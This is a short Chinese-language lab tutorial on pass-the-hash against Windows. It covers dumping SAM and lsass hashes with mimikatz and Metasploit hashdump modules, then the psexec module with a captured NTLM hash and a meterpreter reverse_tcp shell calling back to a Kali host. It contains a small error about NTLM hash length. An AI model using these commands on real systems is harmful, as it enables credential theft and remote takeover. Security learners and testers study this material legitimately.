Passing the Hash
Hash基础知识
1.LM Hash,在早期的Windows操作系统中将明文密码转换为LM Hash保存在SAM文件中,因为LM Hash使用DES加密,密钥为硬编码,算法又存在缺陷,所以被废弃,为了保证系统兼容性可以自行开启。
2.NTLM Hash,在LM Hash算法被弃用时,NTLM Hash被用来进行Windows本地及远程身份验证的凭据,长度为32bit、由数字和字母组成。
Window系统下的Hash密码格式为:
用户名称:RID:LM-Hash值:NT-Hash值
获取Hash方法
1.使用卷影副本将SAM文件导出,配合SYSKEY利用mimikatz等工具获得NTLM Hash
2.使用mimikatz等工具读取lsass.exe进程,获取Hash
3.配合其他漏洞和手法获取net-NTLM Hash 4.net-NTLM Hash可以使用Responder或Inveigh等工具获取
MSF获取Hash值
我自己暂时所知道的三种方法
- Hashdump
- Run post/windows/gather/smart_hashdump
- use post/windows/gather/hashdump
前提是要获得shell,获shell方法在前一篇文章有(点击我!)
获取hash:
ou:1000:aad3b435b51404eeaad3b435b51404ee:2b55f502918363eaaf713ba072e02e38:::
使用hash传递模块(passing the hash)
msf5 > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > options
set rhost 192.168.179.132
set SMBUser ou
set SMBPass aad3b435b51404eeaad3b435b51404ee:2b55f502918363eaaf713ba072e02e38
set payload windows/meterpreter/reverse_tcpset LHOST kali的IP
Set LPORT 靶机获取shell的反弹监听端口,不然会失败,比如我这边都是1234
简单的通过不解密的哈希值获取一个session